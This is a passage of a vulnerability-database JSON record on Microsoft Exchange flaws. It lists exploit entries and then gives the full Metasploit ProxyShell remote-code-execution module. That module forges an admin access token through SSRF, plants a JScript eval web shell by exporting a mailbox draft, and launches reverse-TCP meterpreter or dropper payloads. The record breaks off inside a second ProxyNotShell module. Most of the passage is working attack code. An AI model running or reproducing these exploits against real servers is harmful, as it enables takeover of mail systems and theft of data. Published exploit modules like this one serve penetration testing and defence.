"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-09T15:27:40", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41040"], "modified": "2023-09-16T21:57:19", "id": "62D6E584-1E80-5592-B12B-068A448438E2", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-10-08T08:21:02", "description": "# CVE-2022-41082-RCE-POC aka ProxyNotShell\nCVE-2022-41082 Remote...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-08T07:50:19", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2022-41082"], "modified": "2022-10-08T07:53:18", "id": "B8464218-31FA-569A-AC74-26B347DEC285", "href": "", "cvss": {"score": 0.0, "vector": "NONE"}, "privateArea": 1}, {"lastseen": "2022-09-30T23:03:10", "description": "# -CVE-2022-41082-RCE\nPoC for CVE-2022-41082 RCE as known as Pro...", "cvss3": {}, "published": "2022-09-30T20:59:46", "type": "githubexploit", "title": "Exploit for CVE-2022-41082", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2022-41082"], "modified": "2022-09-30T21:01:47", "id": "6E208382-5651-5649-B6C1-F9EF3A08EA81", "href": "", "cvss": {"score": 0.0, "vector": "NONE"}, "privateArea": 1}, {"lastseen": "2023-08-11T21:33:34", "description": "# CVE-2022-41040\n# Microsoft Exchange vulnerable to server-side ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-14T17:01:17", "type": "githubexploit", "title": "Exploit for Server-Side Request Forgery in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41040"], "modified": "2023-03-23T04:20:35", "id": "3722FF3F-D30D-5D5C-802E-EEA4963C6848", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}], "packetstorm": [{"lastseen": "2021-08-20T15:47:04", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyShell Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T00:00:00", "id": "PACKETSTORM:163895", "href": "https://packetstormsecurity.com/files/163895/Microsoft-Exchange-ProxyShell-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'winrm' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::FileDropper \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyShell RCE', \n'Description' => %q{ \nThis module exploit a vulnerability on Microsoft Exchange Server that \nallows an attacker to bypass the authentication (CVE-2021-31207), impersonate an \narbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve \nthe RCE (Remote Code Execution). \n \nBy taking advantage of this vulnerability, you can execute arbitrary \ncommands on the remote Microsoft Exchange Server. \n \nThis vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, \nExchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, \nExchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. \n \nAll components are vulnerable by default. \n}, \n'Author' => [ \n'Orange Tsai', # Discovery \n'Jang (@testanull)', # Vulnerability analysis \n'PeterJson', # Vulnerability analysis \n'brandonshi123', # Vulnerability analysis \n'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template \n'Spencer McIntyre', # Metasploit module \n'wvu' # Testing \n], \n'References' => [ \n[ 'CVE', '2021-34473' ], \n[ 'CVE', '2021-34523' ], \n[ 'CVE', '2021-31207' ], \n[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ], \n[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ], \n[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ] \n], \n'DisclosureDate' => '2021-04-06', # pwn2own 2021 \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Platform' => ['windows'], \n'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Powershell', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_powershell, \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' \n} \n} \n], \n[ \n'Windows Dropper', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_dropper, \n'CmdStagerFlavor' => %i[psh_invokewebrequest], \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', \n'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' \n} \n} \n], \n[ \n'Windows Command', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_CMD], \n'Type' => :windows_command, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' \n} \n} \n] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'AKA' => ['ProxyShell'], \n'Reliability' => [REPEATABLE_SESSION] \n} \n) \n) \n \nregister_options([ \nOptString.new('EMAIL', [true, 'A known email address for this organization']), \nOptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]), \n]) \n \nregister_advanced_options([ \nOptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']), \nOptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']), \nOptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']), \nOptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']), \nOptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), \nOptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), \nOptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) \n]) \nend \n \ndef check \n@ssrf_email ||= Faker::Internet.email \nres = send_http('GET', '/mapi/nspi/') \nreturn CheckCode::Unknown if res.nil? \nreturn CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint' \n \nCheckCode::Vulnerable \nend \n \ndef cmd_windows_generic? \ndatastore['PAYLOAD'] == 'cmd/windows/generic' \nend \n \ndef encode_cmd(cmd) \ncmd.gsub!('\\\\', '\\\\\\\\\\\\') \ncmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b') \nend \n \ndef random_mapi_id \nid = \"{#{Rex::Text.rand_text_hex(8)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\" \nid.upcase \nend \n \ndef request_autodiscover(_server_name) \nxmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } \n \nresponse = send_http( \n'POST', \n'/autodiscover/autodiscover.xml', \ndata: soap_autodiscover, \nctype: 'text/xml; charset=utf-8' \n) \n \ncase response.body \nwhen %r{<ErrorCode>500</ErrorCode>} \nfail_with(Failure::NotFound, 'No Autodiscover information was found') \nwhen %r{<Action>redirectAddr</Action>} \nfail_with(Failure::NotFound, 'No email address was found') \nend \n \nxml = Nokogiri::XML.parse(response.body) \n \nlegacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content \nfail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty? \n \nserver = '' \nxml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| \ntype = item.at_xpath('./xmlns:Type', xmlns)&.content \nif type == 'EXCH' \nserver = item.at_xpath('./xmlns:Server', xmlns)&.content \nend \nend \nfail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty? \n \n{ server: server, legacy_dn: legacy_dn } \nend \n \ndef request_fqdn \nntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \nreceived = send_request_raw( \n'method' => 'RPC_IN_DATA', \n'uri' => normalize_uri('rpc', 'rpcproxy.dll'), \n'headers' => { \n'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\" \n} \n) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nif received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i) \nhash = received['WWW-Authenticate'].split('NTLM ')[1] \nmessage = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) \ndns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] \n \nreturn dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase \nend \n \nfail_with(Failure::NotFound, 'No Backend server was found') \nend \n \n# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff \ndef request_mapi(_server_name, legacy_dn) \ndata = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\" \nheaders = { \n'X-RequestType' => 'Connect', \n'X-ClientInfo' => random_mapi_id, \n'X-ClientApplication' => datastore['MapiClientApp'], \n'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\" \n} \n \nsid = '' \nresponse = send_http( \n'POST', \n'/mapi/emsmdb', \ndata: data, \nctype: 'application/mapi-http', \nheaders: headers \n) \nif response&.code == 200 \nsid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s \nend \nfail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty? \n \nsid \nend \n \n# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. \ndef run_cve_2021_34473 \nif datastore['BackendServerName'] && !datastore['BackendServerName'].empty? \nserver_name = datastore['BackendServerName'] \nprint_status(\"Internal server name forced to: #{server_name}\") \nelse \nprint_status('Retrieving backend FQDN over RPC request') \nserver_name = request_fqdn \nprint_status(\"Internal server name: #{server_name}\") \nend \n@backend_server_name = server_name \n \n# get information via an autodiscover request. \nprint_status('Sending autodiscover request') \nautodiscover = request_autodiscover(server_name) \n \nprint_status(\"Server: #{autodiscover[:server]}\") \nprint_status(\"LegacyDN: #{autodiscover[:legacy_dn]}\") \n \n# get the user UID using mapi request. \nprint_status('Sending mapi request') \nmailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn]) \nprint_status(\"SID: #{mailbox_user_sid} (#{datastore['EMAIL']})\") \n \nsend_payload(mailbox_user_sid) \n@common_access_token = build_token(mailbox_user_sid) \nend \n \ndef send_http(method, uri, opts = {}) \nssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\" \nunless opts[:cookie] == :none \nopts[:cookie] = \"Email=#{ssrf}\" \nend \n \nrequest = { \n'method' => method, \n'uri' => \"/#{ssrf}#{uri}\", \n'agent' => datastore['UserAgent'], \n'ctype' => opts[:ctype], \n'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' } \n} \nrequest = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? \nrequest = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? \nrequest = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? \n \nreceived = send_request_cgi(request) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nreceived \nend \n \ndef send_payload(user_sid) \n@shell_input_name = rand_text_alphanumeric(8..12) \n@draft_subject = rand_text_alphanumeric(8..12) \npayload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\")) \nfile_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\" \nenvelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject) \n \nsend_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8') \nend \n \ndef soap_autodiscover \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\"> \n<Request> \n<EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress> \n<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> \n</Request> \n</Autodiscover> \nSOAP \nend \n \ndef web_directory \nif datastore['UseAlternatePath'] \ndatastore['IISWritePath'].gsub('\\\\', '/') \nelse \ndatastore['ExchangeWritePath'].gsub('\\\\', '/') \nend \nend \n \ndef build_token(sid) \nuint8_tlv = proc do |type, value| \ntype + [value.length].pack('C') + value \nend \n \ntoken = uint8_tlv.call('V', \"\\x00\") \ntoken << uint8_tlv.call('T', 'Windows') \ntoken << \"\\x43\\x00\" \ntoken << uint8_tlv.call('A', 'Kerberos') \ntoken << uint8_tlv.call('L', datastore['EMAIL']) \ntoken << uint8_tlv.call('U', sid) \n \n# group data for S-1-5-32-544 \ntoken << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\" \nRex::Text.encode_base64(token) \nend \n \ndef execute_powershell(cmdlet, args: []) \nwinrm = SSRFWinRMConnection.new({ \nendpoint: full_uri('PowerShell/'), \ntransport: :ssrf, \nssrf_proc: proc do |method, uri, opts| \nuri = \"#{uri}?X-Rps-CAT=#{@common_access_token}\" \nuri << \"&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\" \nopts[:cookie] = :none \nopts[:data].gsub!( \n%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>}, \n\"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>\" \n) \nopts[:data].gsub!( \n%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand=\"true\">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>}, \n\"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>\" \n) \nsend_http(method, uri, opts) \nend \n}) \n \nwinrm.shell(:powershell) do |shell| \nshell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH) \nshell.extend(SSRFWinRMConnection::PowerShell) \nshell.run({ cmdlet: cmdlet, args: args }) \nend \nend \n \ndef exploit \n@ssrf_email ||= Faker::Internet.email \nprint_status('Attempt to exploit for CVE-2021-34473') \nrun_cve_2021_34473 \n \npowershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\", cookie: :none) \nfail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200 \n \nprint_status('Assigning the \\'Mailbox Import Export\\' role') \nexecute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ]) \n \n@shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\" \nif datastore['UseAlternatePath'] \nunc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\" \nunc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\" \nelse \nunc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\" \nunc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\" \nend \n \nnormal_path = unc_path.gsub(/^\\\\+127\\.0\\.0\\.1\\\\(.)\\$\\\\/, '\\1:\\\\') \nprint_status(\"Writing to: #{normal_path}\") \nregister_file_for_cleanup(normal_path) \n \n@export_name = rand_text_alphanumeric(8..12) \nexecute_powershell('New-MailboxExportRequest', args: [ \n{ name: '-Name', value: @export_name }, \n{ name: '-Mailbox', value: datastore['EMAIL'] }, \n{ name: '-IncludeFolders', value: '#Drafts#' }, \n{ name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" }, \n{ name: '-ExcludeDumpster' }, \n{ name: '-FilePath', value: unc_path } \n]) \n \nprint_status('Waiting for the export request to complete...') \n30.times do \nif execute_command('whoami')&.code == 200 \nprint_good('The mailbox export request has completed') \nbreak \nend \nsleep 5 \nend \n \nprint_status('Triggering the payload') \ncase target['Type'] \nwhen :windows_command \nvprint_status(\"Generated payload: #{payload.encoded}\") \n \nif !cmd_windows_generic? \nexecute_command(payload.encoded) \nelse \nboundary = rand_text_alphanumeric(8..12) \nresponse = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\") \n \nprint_warning('Dumping command output in response') \nif response.body =~ /START#{boundary}(.*)END#{boundary}/m \nprint_line(Regexp.last_match(1).strip) \nelse \nprint_error('Empty response, no command output') \nend \nend \nwhen :windows_dropper \nexecute_command(generate_cmdstager(concat_operator: ';').join) \nwhen :windows_powershell \ncmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) \nexecute_command(cmd) \nend \nend \n \ndef cleanup \nsuper \nreturn unless @common_access_token && @export_name \n \nprint_status('Removing the mailbox export request') \nexecute_powershell('Remove-MailboxExportRequest', args: [ \n{ name: '-Identity', value: \"#{datastore['EMAIL']}\\\\#{@export_name}\" }, \n{ name: '-Confirm', value: false } \n]) \nend \n \ndef execute_command(cmd, _opts = {}) \nif !cmd_windows_generic? \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\" \nelse \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\" \nend \n \nsend_request_raw( \n'method' => 'POST', \n'uri' => normalize_uri(web_directory, @shell_filename), \n'ctype' => 'application/x-www-form-urlencoded', \n'data' => \"#{@shell_input_name}=#{cmd}\" \n) \nend \nend \n \nclass PstEncoding \nENCODE_TABLE = [ \n71, 241, 180, 230, 11, 106, 114, 72, \n133, 78, 158, 235, 226, 248, 148, 83, \n224, 187, 160, 2, 232, 90, 9, 171, \n219, 227, 186, 198, 124, 195, 16, 221, \n57, 5, 150, 48, 245, 55, 96, 130, \n140, 201, 19, 74, 107, 29, 243, 251, \n143, 38, 151, 202, 145, 23, 1, 196, \n50, 45, 110, 49, 149, 255, 217, 35, \n209, 0, 94, 121, 220, 68, 59, 26, \n40, 197, 97, 87, 32, 144, 61, 131, \n185, 67, 190, 103, 210, 70, 66, 118, \n192, 109, 91, 126, 178, 15, 22, 41, \n60, 169, 3, 84, 13, 218, 93, 223, \n246, 183, 199, 98, 205, 141, 6, 211, \n105, 92, 134, 214, 20, 247, 165, 102, \n117, 172, 177, 233, 69, 33, 112, 12, \n135, 159, 116, 164, 34, 76, 111, 191, \n31, 86, 170, 46, 179, 120, 51, 80, \n176, 163, 146, 188, 207, 25, 28, 167, \n99, 203, 30, 77, 62, 75, 27, 155, \n79, 231, 240, 238, 173, 58, 181, 89, \n4, 234, 64, 85, 37, 81, 229, 122, \n137, 56, 104, 82, 123, 252, 39, 174, \n215, 189, 250, 7, 244, 204, 142, 95, \n239, 53, 156, 132, 43, 21, 213, 119, \n52, 73, 182, 18, 10, 127, 113, 136, \n253, 157, 24, 65, 125, 147, 216, 88, \n44, 206, 254, 36, 175, 222, 184, 54, \n200, 161, 128, 166, 153, 152, 168, 47, \n14, 129, 101, 115, 228, 194, 162, 138, \n212, 225, 17, 208, 8, 139, 42, 242, \n237, 154, 100, 63, 193, 108, 249, 236 \n].freeze \n \ndef self.encode(data) \nencoded = '' \ndata.each_char do |char| \nencoded << ENCODE_TABLE[char.ord].chr \nend \nencoded \nend \nend \n \nclass XMLTemplate \ndef self.render(template_name, context = nil) \nfile_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', \"#{template_name}.xml.erb\") \ntemplate = ::File.binread(file_path) \ncase context \nwhen Hash \nb = binding \nlocals = context.collect { |k, _| \"#{k} = context[#{k.inspect}]; \" } \nb.eval(locals.join) \nelse \nraise ArgumentError \nend \nb.eval(Erubi::Engine.new(template).src) \nend \nend \n \nclass SSRFWinRMConnection < WinRM::Connection \nclass MessageFactory < WinRM::PSRP::MessageFactory \ndef self.create_pipeline_message(runspace_pool_id, pipeline_id, command) \nWinRM::PSRP::Message.new( \nrunspace_pool_id, \nWinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline], \nXMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]), \npipeline_id \n) \nend \nend \n \n# we have to define this class so we can define our own transport factory that provides one backed by the SSRF \n# vulnerability \nclass TransportFactory < WinRM::HTTP::TransportFactory \nclass HttpSsrf < WinRM::HTTP::HttpTransport \n# rubocop:disable Lint/ \ndef initialize(endpoint, options) \n@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint \n@ssrf_proc = options[:ssrf_proc] \nend \n \ndef send_request(message) \nresp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message }) \nWinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml \nend \nend \n \ndef create_transport(connection_opts) \nraise NotImplementedError unless connection_opts[:transport] == :ssrf \n \nsuper \nend \n \nprivate \n \ndef init_ssrf_transport(opts) \nHttpSsrf.new(opts[:endpoint], opts) \nend \nend \n \nmodule PowerShell \ndef send_command(command, _arguments) \ncommand_id = SecureRandom.uuid.to_s.upcase \nmessage = MessageFactory.create_pipeline_message(@runspace_id, command_id, command) \nfragmenter.fragment(message) do |fragment| \ncommand_args = [connection_opts, shell_id, command_id, fragment] \nif fragment.start_fragment \nresp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build) \ncommand_id = REXML::XPath.first(resp_doc, \"//*[local-name() = 'CommandId']\").text \nelse \ntransport.send_request(WinRM::WSMV::SendData.new(*command_args).build) \nend \nend \n \ncommand_id \nend \nend \n \ndef initialize(connection_opts) \n# these have to be set to truthy values to pass the option validation, but they're not actually used because hax \nconnection_opts.merge!({ user: :ssrf, password: :ssrf }) \nsuper(connection_opts) \nend \n \ndef transport \n@transport ||= begin \ntransport_factory = TransportFactory.new \ntransport_factory.create_transport(@connection_opts) \nend \nend \nend \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/163895/exchange_proxyshell_rce.rb.txt"}, {"lastseen": "2022-11-30T21:04:16", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-30T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyNotShell Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-11-30T00:00:00", "id": "PACKETSTORM:170066", "href": "https://packetstormsecurity.com/files/170066/Microsoft-Exchange-ProxyNotShell-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::Remote::HTTP::Exchange \ninclude Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell \ninclude Msf::Exploit::EXE \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyNotShell RCE', \n'Description' => %q{ \nThis module chains two vulnerabilities on Microsoft Exchange Server \nthat, when combined, allow an authenticated attacker to interact with \nthe Exchange Powershell backend (CVE-2022-41040), where a \ndeserialization flaw can be leveraged to obtain code execution \n(CVE-2022-41082). This exploit only support Exchange Server 2019. \n \nThese vulnerabilities were patched in November 2022. \n}, \n'Author' => [ 